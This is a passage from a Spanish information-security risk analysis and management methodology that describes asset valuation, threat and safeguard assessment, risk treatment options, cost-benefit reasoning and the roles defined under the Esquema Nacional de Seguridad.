• Valorar el coste que para la Organización supondría la destrucción del activo
• Resultados de la tarea MAR.11, Identificación de los activos
• Resultados de la tarea MAR.12, Dependencias entre activos
Productos de salida
• Modelo de valor: informe de valor de los activos
• Ver “Libro II – Catálogo”.
• Reuniones

Para la adquisición de este conocimiento puede ser necesario entrevistar a diferentes colectivos
dentro de la Organización:
• dirección o gerencia, que conocen las consecuencias para la misión de la Organización
• responsables de los datos, que conocen las consecuencias de sus fallos de seguridad
• responsables de los servicios, que conocen las consecuencias de la no prestación del servi-
cio o de su prestación degradada
• responsables de sistemas de información y responsables de operación, que conocen las
consecuencias de un incidente
Para cada valoración conviene registrar la siguiente información:
• dimensiones en las que el activo es relevante
• estimación de la valoración en cada dimensión
• explicación de la valoración
• entrevistas realizadas de las que se han deducido las anteriores estimaciones
3.2.2. Tarea MAR.2: Caracterización de las amenazas

Esta actividad consta de dos sub-tareas:
MAR.21: Identificación de las amenazas
MAR.22: Valoración de las amenazas
El objetivo de estas tareas es caracterizar el entorno al que se enfrenta el sistema, qué puede pa-
sar, qué consecuencias se derivarían y cómo de probable es que pase. Podemos resumirlo en la
expresión “conoce a tu enemigo”.

MAR.21: Identificación de las amenazas
Objetivos
• Identificar las amenazas relevantes sobre cada activo
• Resultados de la actividad MAR.1, Caracterización de los activos
• Informes relativos a defectos en los productos. Esto es, informes de vulnerabilidades.
Productos de salida
• Relación de amenazas posibles
• Catálogos de amenazas (ver "Catálogo de Elementos")
• Árboles de ataque (ver "Guía de Técnicas")
• Reuniones
En esta tarea se identifican las amenazas significativas sobre los activos identificados, tomando
en consideración:

• el tipo de activo
• las dimensiones en que el activo es valioso
• la experiencia de la Organización
• los defectos reportados por los fabricantes y organismos de respuesta a incidentes de segu-
ridad (CERTS)
Para cada amenaza sobre cada activo conviene registrar la siguiente información:
• explicación del efecto de la amenaza
• antecedentes, si los hubiera, bien en la propia Organización, bien en otras organizaciones
que se haya considerado relevantes

MAR.22: Valoración de las amenazas
Objetivos
• Estimar la frecuencia de ocurrencia de cada amenaza sobre cada activo
• Estimar la degradación que causaría la amenaza en cada dimensión del activo si llegara a
materializarse
• Resultados de la tarea MAR2.1, Identificación de las amenazas
• Series históricas de incidentes
• Informes de defectos en los productos
• Antecedentes: incidentes en la Organización
Productos de salida
• Mapa de riesgos: informe de amenazas posibles, caracterizadas por su frecuencia de ocu-
rrencia y la degradación que causarían en los activos
• Reuniones
En esta tarea se valoran las amenazas identificadas en la tarea anterior, tomando en considera-
ción:
• la experiencia (historia) universal
• la experiencia (historia) del sector de actividad
• la experiencia (historia) del entorno en que se ubican los sistemas
• la experiencia (historia) de la propia Organización
• los informes anexos a los reportes de defectos proporcionados por los fabricantes y orga-
nismos de respuesta a incidentes de seguridad (CERTS)
Sabiendo que existen una serie de posibles agravantes, como se describe en la sección X.

Para cada amenaza sobre cada activo conviene registrar la siguiente información:
• estimación de la frecuencia de la amenaza
• estimación del daño (degradación) que causaría su materialización
• explicación de las estimaciones de frecuencia y degradación
• entrevistas realizadas de las que se han deducido las anteriores estimaciones
3.2.3. Tarea MAR.3: Caracterización de las salvaguardas

Esta actividad consta de dos sub-tareas:
MAR.31: Identificación de las salvaguardas pertinentes
MAR.32: Valoración de las salvaguardas
El objetivo de estas tareas es doble: saber qué necesitamos para proteger el sistema y saber si
tenemos un sistema de protección a la altura de nuestras necesidades.

MAR.31: Identificación de las salvaguardas pertinentes
Objetivos
• Identificar las salvaguardas convenientes para proteger el sistema
• modelo de activos del sistema
• modelo de amenazas del sistema
• indicadores de impacto y riesgo residual
• informes de productos y servicios en el mercado
Productos de salida
• Declaración de aplicabilidad: relación justificada de las salvaguardas necesarias
• Relación de salvaguardas desplegadas

• Catálogos de salvaguardas (ver "Catálogo de Elementos")
• Reuniones
Para cada salvaguarda conviene registrar la siguiente información:

• descripción de la salvaguarda y su estado de implantación
• descripción de las amenazas a las que pretende hacer frente
• entrevistas realizadas de las que se ha deducido la anterior información
Para determinar las salvaguardas pertinentes es frecuente recurrir a catálogos de salvaguardas o
al consejo de personas expertas. De una u otra forma dispondremos de una colección de salva-
guardas para elegir, de forma que el complejo problema de encontrar lo que necesitamos se redu-
ce al problema más sencillo de descartar lo que no necesitamos.

En el proceso de descarte hay varias razones para eliminar una salvaguarda propuesta:
• porque no es apropiada para el activo que necesitamos defender
• porque no es apropiada para la dimensión de seguridad que necesitamos defender
• porque no es efectiva oponiéndose a la amenaza que necesitamos contrarrestar
• porque es excesiva para el valor que tenemos que proteger (desproporcionada)
• porque disponemos de medidas alternativas

MAR.32: Valoración de las salvaguardas
Objetivos
• Determinar la eficacia de las salvaguardas pertinentes
• Inventario de salvaguardas derivado de la tarea MAR.31
Productos de salida
• Evaluación de salvaguardas : informe de salvaguardas desplegadas, caracterizadas por
su grado de efectividad
• Informe de insuficien cias (o vul nerabilidades): relación de salvaguardas que deberían
estar pero no están desplegadas o están desplegadas de forma insuficiente

• Reuniones
En esta tarea se valora la efectividad de las salvaguardas identificadas en la tarea anterior, to-
mando en consideración:
• la idoneidad de la salvaguarda para el fin perseguido
• la calidad de la implantación
• la formación de los responsables de su configuración y operación
• la formación de los usuarios, si tienen un papel activo
• la existencia de controles de medida de su efectividad
• la existencia de procedimientos de revisión regular
Para cada salvaguarda conviene registrar la siguiente información:
• estimación de su eficacia para afrontar aquellas amenazas
• explicación de la estimación de eficacia

3.2.4. Tarea MAR.4: Estimación del estado de riesgo

En esta tarea se combinan los descubrimientos de las tareas anteriores (MAR.1, MAR.2 y MAR.3)
para derivar estimaciones del estado de riesgo de la Organización.
Esta actividad consta de tres tareas:
MAR.41: Estimación del impacto
MAR.42: Estimación del riesgo
El objetivo de estas tareas es disponer de una estimación fundada de lo que puede ocurrir (impac-
to) y de lo que probablemente ocurra (riesgo).

MAR.41: Estimación del impacto
Objetivos
• Determinar el impacto potencial al que está sometido el sistema
• Determinar el impacto residual al que está sometido el sistema
• Resultados de la actividad MAR.2, Caracterización de las amenazas
• Resultados de la actividad MAR.3, Caracterización de las salvaguardas
Productos de salida
• Informe de impacto (potencial) por activo
• Informe de impacto residual por activo

• Análisis mediante tablas (ver "Guía de Técnicas")
• Análisis algorítmico (ver "Guía de Técnicas")
En esta tarea se estima el impacto al que están expuestos los activos del sistema:
• el impacto potencial, al que está expuesto el sistema teniendo en cuenta el valor de los acti-
vos y la valoración de las amenazas; pero no las salvaguardas actualmente desplegadas
• el impacto residual, al que está expuesto el sistema teniendo en cuenta el valor de los acti-
vos y la valoración de las amenazas, así como la eficacia de las salvaguardas actualmente
desplegadas

Objetivos
• Determinar el riesgo potencial al que está sometido el sistema
• Determinar el riesgo residual al que está sometido el sistema
• Resultados de la actividad MAR.2, Caracterización de las amenazas
• Resultados de la actividad MAR.3, Caracterización de las salvaguardas
• Resultados de la actividad MAR.4, Estimaciones de impacto


Productos de salida
• Informe de riesgo (potencial) por activo
• Informe de riesgo residual por activo

• Análisis mediante tablas (ver "Guía de Técnicas")
• Análisis algorítmico (ver "Guía de Técnicas")
En esta tarea se estima el riesgo al que están sometidos los activos del sistema:
• el riesgo potencial, al que está sometido el sistema teniendo en cuenta el valor de los acti-
vos y la valoración de las amenazas; pero no las salvaguardas actualmente desplegadas
• el riesgo residual, al que está sometido el sistema teniendo en cuenta el valor de los activos
y la valoración de las amenazas, así como la eficacia de las salvaguardas actualmente des-
plegadas
3.3. Documentación
Documentación intermedia
• Resultados de las entrevistas.
• Documentación de otras fuentes: estadísticas, observaciones de expertos y observaciones
de los analistas.
• Información existente utilizable por el proyecto (por ejemplo inventario de activos)
• Documentación auxiliar: planos, organigramas, requisitos, especificaciones, análisis funcio-
nales, cuadernos de carga, manuales de usuario, manuales de explotación, diagramas de
flujo de información y de procesos, modelos de datos, etc.
• Informes y evaluaciones de defectos de los productos, procedentes de fabricantes o de cen-
tros de respuesta a incidentes de seguridad (CERTs).
Documentación final
• Modelo de valor
Informe que detalla los activos, sus dependencias, las dimensiones en las que son valiosos
y la estimación de su valor en cada dimensión.
• Mapa de riesgos:
Informe que detalla las amenazas significativas sobre cada activo, caracterizándolas por su
frecuencia de ocurrencia y por la degradación que causaría su materialización sobre el acti-
vo.
• Declaración de aplicabilidad:
Informe que recoge las contramedidas que se consideran apropiadas para defender el sis-
tema de información bajo estudio.
• Evaluación de salvaguardas:
Informe que detalla las salvaguardas existentes calificándolas en su eficacia para reducir el
riesgo que afrontan.
• Informe de insuficiencias o vulnerabilidades:
Informe que detalla las salvaguardas necesarias pero ausentes o insuficientemente eficaces.
• Estado de riesgo:
Informe que detalla para cada activo el impacto y el riesgo, potenciales y residuales, frente a
cada amenaza.
Esta documentación es un fiel reflejo del estado de riesgo y de las razones por la que este riesgo
no es aceptable. Es fundamental entender las razones que llevan a una valoración determinada
de riesgo para que el proceso de gestión de riesgos esté bien fundamentado. El proceso de ges-
tión de riesgos partirá de estas valoraciones para atajar el riesgo o reducirlo a niveles aceptables.
3.4. Lista de control

√ actividad tarea
Se han identificado los activos esenciales: información que se trata y servicios que MAR.11
se prestan
Se han valorado las necesidades o niveles de seguridad requeridos por cada activo MAR.13
esencial en cada dimensión de seguridad
Se han identificado los demás activos del sistema MAR.11
Se han establecido el valor (o nivel requerido de seguridad) de los demás activos en MAR.12
función de su relación con los activos esenciales (por ejemplo, mediante identifica-
ción de las dependencias)
Se han identificado las amenazas posibles sobre los activos MAR.21
Se han estimado las consecuencias que se derivarían de la materialización de di- MAR.22
chas amenazas
Se ha estimado la probabilidad de que dichas amenazas se materialicen MAR.23
Se han estimado los impactos y riesgos potenciales, inherentes al sistema MAR.4
Se han identificado las salvaguardas apropiadas para atajar los impactos y riesgos MAR.31
potenciales
Se ha valorado el despliegue de las salvaguardas identificadas MAR.32
Se han estimado los valores de impacto y riesgo residuales, que es el nivel de im- MAR.4
pacto y riesgo que aún soporta el sistema tras el despliegue de las salvaguardas

4. Proceso de gestión de riesgos

A la vista de los impactos y riesgos a que está expuesto el sistema, hay que tomar una serie de
decisiones condicionadas por diversos factores:
• la gravedad del impacto y/o del riesgo
• las obligaciones a las que por ley esté sometida la Organización
• las obligaciones a las que por reglamentos sectoriales esté sometida la Organización
• las obligaciones a las que por contrato esté sometida la Organización
Dentro del margen de maniobra que permita este marco, pueden aparecer consideraciones adi-
cionales sobre la capacidad de la Organización para aceptar ciertos impactos de naturaleza intan-
gible 16 tales como:
• imagen pública de cara a la Sociedad (aspectos reputacionales)
• política interna: relaciones con los propios empleados, tales como capacidad de contratar al
personal idóneo, capacidad de retener a los mejores, capacidad de soportar rotaciones de
personas, capacidad de ofrecer una carrera profesional atractiva, etc.
• relaciones con los proveedores, tales como capacidad de llegar a acuerdos ventajosos a
corto, medio o largo plazo, capacidad de obtener trato prioritario, etc.
• relaciones con los clientes o usuarios, tales como capacidad de retención, capacidad de in-
crementar la oferta, capacidad de diferenciarse frente a la competencia, ...
• relaciones con otras organizaciones, tales como capacidad de alcanzar acuerdos estratégi-
cos, alianzas, etc.
• nuevas oportunidades de negocio, tales como formas de recuperar la inversión en seguridad
• acceso a sellos o calificaciones reconocidas de seguridad
Todas las consideraciones anteriores desembocan en una calificación de cada riesgo significativo,
determinándose si ...
1. es crítico en el sentido de que requiere atención urgente
2. es grave en el sentido de que requiere atención
3. es apreciable en el sentido de que pueda ser objeto de estudio para su tratamiento
4. es asumible en el sentido de que no se van a tomar acciones para atajarlo
La opción 4, aceptación del riesgo, siempre es arriesgada y hay que tomarla con prudencia y justi-
ficación. Las razones que pueden llevar a esta aceptación son:
• cuando el impacto residual es asumible
• cuando el riesgo residual es asumible
• cuando el coste de las salvaguardas oportunas es desproporcionado en comparación al im-
pacto y riesgo residuales
La calificación de los riesgos tendrá consecuencias en las tareas subsiguientes, siendo un factor
básico para establecer la prioridad relativa de las diferentes actuaciones.
16 La metodología de análisis y gestión de riesgos, al centrarse en la evaluación de daños, no captura ple-

namente los beneficios de la ausencia de daños que, generando un ambiente de confianza, permite un
mejor desempeño de las funciones de la Organización en su entorno de operación.
4.1. Conceptos
El análisis de riesgos determina impactos y riesgos. Los impactos recogen daños absolutos, inde-
pendientemente de que sea más o menos probable que se dé la circunstancia. En cambio, el ries-
go pondera la probabilidad de que ocurra. El impacto refleja el daño posible (lo peor que puede
ocurrir), mientras que el riesgo refleja el daño probable (lo que probablemente ocurra).
El resultado del análisis es sólo un análisis. A partir de el disponemos de información para tomar
decisiones conociendo lo que queremos proteger (activos valorados=, de qué lo queremos prote-
ger (amenazas valoradas) y qué hemos hecho por protegerlo (salvaguardas valoradas). Todo ello
sintetizado en los valores de impacto y riesgo.
A partir de aquí, las decisiones son de los órganos de gobierno de la Organización que actuarán
en 2 pasos:
• paso 1: evaluación
• paso 2: tratamiento
La siguiente figura resume las posibles decisiones que se pueden tomar tras haber estudiado los
riesgos. La caja ‘estudio de los riesgos’ pretende combinar el análisis con la evaluación.
Ilustración 11. Decisiones de tratamiento de los riesgos
Todos estos aspectos se desarrollan en las secciones siguientes.
4.1.1. Evaluación: interpretación de los valores de impacto y riesgo residuales

Impacto y riesgo residual son una medida del estado presente, entre la inseguridad potencial (sin
salvaguarda alguna) y las medidas adecuadas que reducen impacto y riesgo a valores aceptables.
Los párrafos siguientes se refieren conjuntamente a impacto y riesgo.
Si el valor residual es igual al valor potencial, las salvaguardas existentes no valen para nada, típi-
camente no porque no haya nada hecho, sino porque hay elementos fundamentales sin hacer.
Es importante entender que un valor residual es sólo un número. Para su correcta interpretación
debe venir acompañado de la relación de lo que se debería hacer y no se ha hecho; es decir, de
las vulnerabilidades que presenta el sistema. Los responsables de la toma de decisiones deberán
prestar cuidadosa atención a esta relación de tareas pendientes, que se denomina Informe de
Insuficiencias o de vulnerabilidades.
4.1.2. Aceptación del riesgo

La Dirección de la Organización sometida al análisis de riesgos debe determinar el nivel de impac-
to y riesgo aceptable. Más propiamente dicho, debe aceptar la responsabilidad de las insuficien-
cias. Esta decisión no es técnica. Puede ser una decisión política o gerencial o puede venir deter-
minada por ley o por compromisos contractuales con proveedores o usuarios. Estos niveles de
aceptación se pueden establecer por activo o por agregación de activos (en un determinado de-
partamento, en un determinado servicio, en una determinada dimensión, ...)
Cualquier nivel de impacto y/o riesgo es aceptable si lo conoce y acepta formalmente la Dirección 17 .
4.1.3. Tratamiento
La Dirección puede decidir aplicar algún tratamiento al sistema de seguridad desplegado para pro-
teger el sistema de información. Hay dos grandes opciones:
• reducir el riesgo residual (aceptar un menor riesgo)
• ampliar el riesgo residual (aceptar un mayor riesgo)
Para tomar una u otra decisión hay que enmarcar los riesgos soportados por el sistema de infor-
mación dentro de un contexto más amplio que cubre un amplio espectro de consideraciones de
las que podemos apuntar algunas sin pretender ser exhaustivos:
• cumplimiento de obligaciones; sean legales, regulación pública o sectorial, compromisos in-
ternos, misión de la Organización, responsabilidad corporativa, etc.
• posibles beneficios derivados de una actividad que en sí entraña riesgos
• condicionantes técnicos, económicos, culturales, políticos, etc.
• equilibrio con otros tipos de riesgos: comerciales, financieros, regulatorios, medioambienta-
les, laborales, …
En condiciones de riesgo residual extremo, casi la única opción es reducir el riesgo.
En condiciones de riesgo residual aceptable , podemos optar entre aceptar el nivel actual o am-
pliar el riesgo asumido. En cualquier caso hay que mantener una monitorización continua de las
circunstancias para que el riesgo formal cuadre con la experiencia real y reaccionemos ante cual-
quier desviación significativa.
Ilustración 12. Zonas de riesgo
17
Hablar de Dirección es pecar de simplificar la realidad. En inglés suele emplearse el término “stakehol-
ders” (o tenedores de la estaca) para referirse a los afectados por las decisiones estratégicas de una Or-
ganización: dueños, gerentes, usuarios, empleados e incluso la sociedad en general. Porque al final si se
aceptan riesgos imprudentemente elevados, el perjudicado puede no ser sólo el que dirige, sino todos
los que tienen su confianza puesta en la Organización y cuyo lamentable desempeño oscurecería sus
legítimas expectativas. En última instancia puede verse afectada la confianza en un sector o en una tec-
nología por la imprudente puesta en escena de algunos actores.
En condiciones de riesgo residual medio, podemos observar otras características como las pér-
didas y ganancias que pueden verse afectadas por el escenario presente, o incluso analizar el es-
tado del sector en el que operamos para compararnos con la “norma”.
En términos de las zonas de riesgo que se expusieron anteriormente,
• zona 1 – riesgos muy probables y de muy alto impacto; posiblemente nos planteemos sacar-
los de esta zona
• zona 2 – riesgos de probabilidad relativa e impacto medio; se pueden tomar varias opciones
• zona 3 – riesgos improbables y de bajo impacto; o los dejamos como están, o permitimos
que suban a mayores si ello nos ofreciera alguna ventaja o beneficio en otro terreno
• zona 4 – riesgos improbables pero de muy alto impacto; suponen un reto de decisión pues
su improbabilidad no justifica que se tomen medidas preventivas, pero su elevado impacto
exige que tengamos algo previsto para reaccionar; es decir, hay que poner el énfasis en
medidas de reacción para limitar el daño y de recuperación del desastre si ocurriera.
También conviene considerar la incertidumbre del análisis. Hay veces que sospechamos las con-
secuencias, pero hay un amplio rango de opiniones sobre su magnitud (incertidumbre en el impac-
to). En otras ocasiones la incertidumbre afecta a la probabilidad. Estos escenarios suelen afectar a
las zonas 4 y 3, pues cuando la probabilidad es alta, normalmente adquirimos experiencia, propia
o ajena, con rapidez y salimos de la incertidumbre. En cualquier caso, toda incertidumbre debe
considerarse como mala y debemos hacer algo:
• buscar formas de mejorar la previsión, típicamente indagando en foros, centros de respuesta
a incidentes o expertos en la materia;
• evitar el riesgo cambiando algún aspecto, componente o arquitectura del sistema; o
• tener preparados sistemas de alerta temprana y procedimientos flexibles de contención, limi-
tación y recuperación del posible incidente.
A veces que estos escenarios de incertidumbre ocurren en un terreno en el que hay obligaciones
de cumplimiento y la propia normativa elimina o reduce notablemente las opciones disponibles; es
decir, el sistema se protege por obligación más que por certidumbre del riesgo.
A la vista de estas consideraciones se tomarán las decisiones de tratamiento.
4.1.4. Estudio cuantitativo de costes / beneficios

Es de sentido común que no se puede invertir en salvaguardas más allá del valor que queremos
proteger.
Aparecen en la práctica gráficos como el siguiente que ponen uno frente al otro el coste de la in-
seguridad (lo que costaría no estar protegidos) y el coste de las salvaguardas.

0 10 20 30 40 50 60 70 80 90 100
grado de seguridad
riesgo residual gasto en salvaguardas coste total
Ilustración 13. Relación entre el gasto en seguridad y el riesgo residual
Este tipo de gráficas intentan reflejar cómo al avanzar de un grado de seguridad 0 hacia un grado
de seguridad del 100%, el coste de la inseguridad (el riesgo) disminuye, mientras que el coste de
la inversión en salvaguardas aumenta. Es intencionado el hecho de que el riesgo caiga fuertemen-
te con pequeñas inversiones 18 y que el coste de las inversiones se dispare para alcanzar niveles
de seguridad cercanos al 100% 19 . La curva central suma el coste para la Organización, bien deri-
vado del riesgo (baja seguridad), bien derivado de la inversión en protección. De alguna forma
existe un punto de equilibrio entre lo que se arriesga y lo que se invierte en defensa, punto al que
hay que tender si la única consideración es económica.
Pero llevar el sentido común a la práctica no es evidente, ni por la parte del cálculo del riesgo, ni
por la parte del cálculo del coste de las salvaguardas. En otras palabras, la curva anterior es con-
ceptual y no se puede dibujar en un caso real.
En la práctica, cuando hay que protegerse de un riesgo que se considera significativo, aparecen
varios escenarios hipotéticos:
E0: si no se hace nada
E1: si se aplica un cierto conjunto de salvaguardas
E2: si se aplica otro conjunto de salvaguardas
Y así N escenarios con diferentes combinaciones de salvaguardas.
El análisis económico tendrá como misión decidir entre estas opciones, siendo E0 (seguir como
estamos) una opción posible, que pudiera estar justificada económicamente.
En cada escenario hay que estimar a lo largo del tiempo el coste que va a suponer. Para poder
agregar costes, se contabilizan como valores negativos las pérdidas de dinero y como valores po-
sitivos las entradas de dinero. Considerando los siguientes componentes:
− (recurrente) riesgo residual 20
− (una vez) coste de las salvaguardas 21
18
Medidas básicas de seguridad suponen un importante descenso del riesgo. Por ello son inexcusables.
19
Reflejando una vez más que la seguridad absoluta (riesgo cero) no existe.
20
Si la frecuencia de las amenazas se ha estimado como tasa anual, los datos de riesgo residual estarán
automáticamente anualizados. Si se hubiera empleado otra escala, habría que convertirla a términos
anuales.
− (recurrente) coste anual de mantenimiento de las salvaguardas
+ (recurrente) mejora en la productividad 22
+ (recurrente) mejoras en la capacidad de la Organización para prestar nuevos servicios,
conseguir mejores condiciones de los proveedores, entrar en asociación con otras or-
ganizaciones, etc.
El escenario E0 es muy simple: todos los años se afronta un gasto marcado por el riesgo, que se
acumula año tras año.
En los demás escenarios, hay cosas que suman y cosas que restan, pudiendo darse varias situa-
ciones 23 como las recogidas en la gráfica siguiente. Se presentan valores acumulados a lo largo
de un periodo de 5 años. La pendiente de la recta responde a los costes recurrentes. El valor el
primer año corresponde a los costes de implantación.
Ilustración 14. Ejemplos de decisiones de tratamiento del riesgo
• En E0 se sabe lo que cada año (se estima que) se pierde

• El escenario E1 aparece como mala idea, pues supone un gasto añadido el primer año;
pero este gasto no se recupera en años venideros.
• No así el escenario E2 que, suponiendo un mayor desembolso inicial, empieza a ser
rentable a partir del cuarto año.
• Más atractivo aún es el escenario E3 en el que a costa de un mayor desembolso inicial, se
empieza a ahorrar al tercer año, e incluso se llega a obtener beneficios operativos a partir
del quinto año. Se puede decir que en escenario E3 se ha hecho una buena inversión.
21
Si la salvaguarda ya existe, coste de mejora. Si no existiera, coste de adquisición e instalación. En cual-
quier caso hay que imputar costes de formación de los operadores, usuarios, etc.
22
Este epígrafe puede ser positivo si la Organización mejora su productividad; o puede ser negativo, si em-
peora. Como ejemplo típico de salvaguardas que mejoran la productividad podemos citar la introducción
de dispositivos de autenticación en sustitución de la clásica contraseña. Como ejemplo típico de salva-
guardas que minoran la productividad podemos citar la clasificación de documentación con control de ac-
ceso restringido.
23 En el eje X se muestran años, en referencia al año 0 en que se realiza el análisis de riesgos. En ordena-
das aparecen costes en unidades arbitrarias.
4.1.5. Estudio cualitativo de costes / beneficios

Cuando el análisis es cualitativo, en la balanza de costes beneficios aparecen aspectos intangi-
bles que impiden el cálculo de un punto numérico de equilibrio.
Entre los aspectos intangibles se suelen contemplar:
— aspectos reputacionales o de imagen
— aspectos de competencia: comparación con otras organizaciones de mismo ámbito de activi-
dad
— cumplimiento normativo, que puede ser obligatorio o voluntario
— capacidad de operar
— productividad
Estas consideraciones nos llevan a contemplar diversos escenarios para determinar el balance
neto. Por ejemplo, el no adoptar medidas puede exponernos a un cierto riesgo que causaría mala
imagen; pero si la solución preventiva causa también mala imagen o supone un merma notable de
oportunidades o de productividad, hay que buscar un punto de equilibrio, eligiendo una combina-
ción de medidas que sea asumible.
4.1.6. Estudio mixto de costes / beneficios

En análisis de riesgos meramente cualitativos, la decisión la marca el balance de costes y benefi-
cios intangibles, si bien siempre hay que hacer un cálculo de lo que cuesta la solución y cerciorar-
se de que el gasto es asumible. De o contrario, la supuesta solución no es una opción. Es decir,
primero hay que pasar el filtro económico y luego elegir la mejor de las soluciones factibles.
4.1.7. Opciones de tratamiento del riesgo: eliminación

La eliminación de la fuente de riesgo es una opción frente a un riesgo que no es aceptable.
En un sistema podemos eliminar varias cosas, siempre que no afecten a la esencia de la Organi-
zación. Es extremadamente raro que podamos prescindir de la información o los servicios esen-
ciales por cuanto constituyen la misión de la Organización. Cambiar estos activos supone reorien-
tar la misión de la Organización.
Más viable es prescindir de otros componentes no esenciales, que están presentes simple y lla-
namente para implementar la misión, pero no son parte constituyente de la misma. Esta opción
puede tomar diferentes formas:
• Eliminar cierto tipo de activos, emplean otros en su lugar. Por ejemplo: cambiar de sis-
tema operativo, de fabricante de equipos, …
• Reordenar la arquitectura del sistema (el esquema de dependencias en nuestra termi-
nología) de forma que alteremos el valor acumulado en ciertos activos expuestos a
grandes amenazas. Por ejemplo: segregar redes, desdoblar equipos para atender a ne-
cesidades concretas, alejando lo más valioso de lo más expuesto, …
Las decisiones de eliminación de las fuentes de riesgo suponen realizar un nuevo análisis de ries-
gos sobre el sistema modificado.
4.1.8. Opciones de tratamiento del riesgo: mitigación

La mitigación del riesgo se refiere a una de dos opciones:
• reducir la degradación causada por una amenaza (a veces se usa la expresión ‘acotar
el impacto’)
• reducir la probabilidad de que una amenaza de materializa
En ambos casos lo que hay que hacer es ampliar o mejorar el conjunto de salvaguardas. En tér-
minos de madurez de las salvaguardas: subir de nivel.

Algunas salvaguardas, notablemente las de tipo técnico, se traducen en el despliegue de más
equipamiento 24 que se convierte a su vez en un activo del sistema. Estos nuevos activos también
acumularán valor del sistema y estarán a su vez sujetos a amenazas que pueden perjudicar a los
activos esenciales.
Hay pues que repetir el análisis de riesgos, ampliándolo con el nuevo despliegue de medios y, por
supuesto, cerciorarse de que el riesgo del sistema ampliado es menor que el del sistema original;
es decir, que las salvaguardas efectivamente disminuyen el estado de riesgo de la Organización.
4.1.9. Opciones de tratamiento del riesgo: compartición

Tradicionalmente se ha hablado de ‘transferir el riesgo’. Como la transferencia puede ser parcial o
total, es más general hablar de ‘compartir el riesgo’.
Hay dos formas básicas de compartir riesgo:
•Riesgo cualitativo: se comparte por medio de la externalización de componentes del sistema,
de forma que se reparten responsabilidades: unas técnicas para el que opera el componen-
te técnico; y otras legales según el acuerdo que se establezca de prestación del servicio.
• Riesgo cuantitativo: se comparte por medio de la contratación de seguros, de forma que
a cambio de una prima, el tomador reduce el impacto de las posibles amenazas y el
asegurador corre con las consecuencias. Hay multitud de tipos y cláusulas de seguros
para concretar el grado de responsabilidad de cada una de las partes.
Cuando se comparten riesgos cambia, bien el conjunto de componentes del sistema, bien su valo-
ración, requiriéndose un nuevo análisis del sistema resultante.
4.1.10. Opciones de tratamiento del riesgo: financiación

Cuando se acepta un riesgo, la Organización hará bien en reservar fondos para el caso de que el
riesgo se concrete y haya que responder de sus consecuencias. A veces de habla de ‘fondos de
contingencia’ y también puede ser parte de los contratos de aseguramiento.
Normalmente esta opción no modifica nada del sistema y nos vale el análisis de riesgos disponible.
4.2. Formalización de las actividades
Ilustración 15. Proceso de gestión de riesgos
24 Ejemplos típicos pueden ser un equipo cortafuegos, un sistema de gestión de redes privadas virtuales,
tarjetas inteligentes de identificación de los usuarios, una PKI de clave pública, etc.
4.2.1. Roles y funciones

En el proceso de gestión de riesgos aparecen varios actores. Los siguientes párrafos intentan
identificarlos de forma somera y explicitar cuales son sus funciones y responsabilidades.
Órganos de gobierno
En este epígrafe se incluyen aquellos que órganos colegiados o unipersonales que deciden
la misión y los objetivos de la Organización.
Típicamente se incluyen en esta categoría los altos cargos de los organismos.
Cuando existe un Comité de Seguridad de la Información, suele aparecer en este nivel.
Estos órganos tienen la autoridad última para aceptar los riesgos con que se opera. Se dice
que son los “propietarios del riesgo”.
Dirección ejecutiva
En este epígrafe se incluyen aquellos órganos colegiados o unipersonales que toman deci-
siones que concretan cómo alcanzar los objetivos de negocio marcados por los órganos de
gobierno.
Típicamente se incluyen en esta categoría los responsables de unidades de negocio, los
responsables de la calidad de los servicios prestados por la organización, etc.
Dirección operacional
En este epígrafe se incluyen aquellos órganos colegiados o unipersonales que toman deci-
siones prácticas para materializar las indicaciones dadas por los órganos ejecutivos.
Típicamente se incluyen en esta categoría los responsables de operaciones, de producción,
de explotación y similares.
Esquema Nacional de Seguridad

En el Esquema Nacional de Seguridad de identifican ciertos roles que pueden verse involucrados
en el proceso de gestión de riesgos:
Responsable de la información
Típicamente a nivel de gobierno. Tiene la responsabilidad última sobre qué seguridad re-
quiere una cierta información manejada por la Organización.
A este nivel se suele concretar la responsabilidad sobre datos de carácter personal y sobre
la clasificación de la información.
A veces este role lo ejerce el Comité de Seguridad de la Información.
Responsable del servicio
Típicamente a nivel de gobierno, aunque a veces baja a nivel ejecutivo. Tiene la responsabi-
lidad última de determinar los niveles de servicio aceptables por la Organización.
A veces este role lo asume el Comité de Seguridad de la Información.
Responsable de la seguridad
Típicamente a nivel ejecutivo, actuando como engranaje entre las directrices emanadas de
los responsables de la información y los servicios, y el responsable del sistema. A su vez
funciona como supervisor de la operación del sistema y vehículo de reporte al Comité de
Seguridad de la Información.
A veces se denomina a esta figura CISO (Chief Information Security Officer).
En lo que respecta al proceso de gestión de riesgos, es la persona que traslada la valora-
ción de los activos esenciales, que aprueba la declaración de aplicabilidad de salvaguardas,
los procedimientos operativos, los riesgos residuales y los planes de seguridad. En esta fun-

ción de informante, suele ser la persona encargada de elaborar los indicadores del esto de
seguridad del sistema.
Responsable del sistema
A nivel operacional. Toma decisiones operativas: arquitectura del sistema, adquisiciones,
instalaciones y operación del día a día.
En lo que respecta al proceso de gestión de riesgos, es la persona que propone la arquitec-
tura de seguridad, la declaración de aplicabilidad de salvaguardas, los procedimientos ope-
rativos y los planes de seguridad. También es la persona responsable de la implantación y
correcta operación de las salvaguardas.
Administradores y operadores
Son las personas encargadas de ejecutar las acciones diarias de operación del sistema se-
gún las indicaciones recibidas de sus superiores jerárquicos.
Matriz RACI
La matriz que se expone a continuación es orientativa y cada organismo deberá adecuarla a su
organización particular.
La matriz de la asignación de responsabilidades (RACI por las iniciales, en inglés, de los tipos de
responsabilidad) se utiliza generalmente en la gestión de proyectos para relacionar actividades
con recursos (individuos o equipos de trabajo). De esta manera se logra asegurar que cada una
de las tareas esté asignada a un individuo o a un órgano colegiado.
rol descripción
R Responsible Este rol realiza el trabajo y es responsable por su realización. Lo más habitual
es que exista sólo un R, si existe más de uno, entonces el trabajo debería ser
subdividido a un nivel más bajo, usando para ello las matrices RASCI. Es quien
debe ejecutar las tareas.
A Accountable Este rol se encarga de aprobar el trabajo finalizado y a partir de ese momento,
se vuelve responsable por él. Sólo puede existir un A por cada tarea. Es quien
debe asegurar que se ejecutan las tareas.
C Consulted Este rol posee alguna información o capacidad necesaria para terminar el traba-
jo. Se le informa y se le consulta información (comunicación bidireccional).
I Informed Este rol debe ser informado sobre el progreso y los resultados del trabajo. A
diferencia del Consultado, la comunicación es unidireccional.
Tabla 5. Roles en procesos distribuidos
Direc- RINF RSER RSE RSI AS

Tarea ción O V G S S
niveles de seguridad requeridos por la informa-
ción A I R C
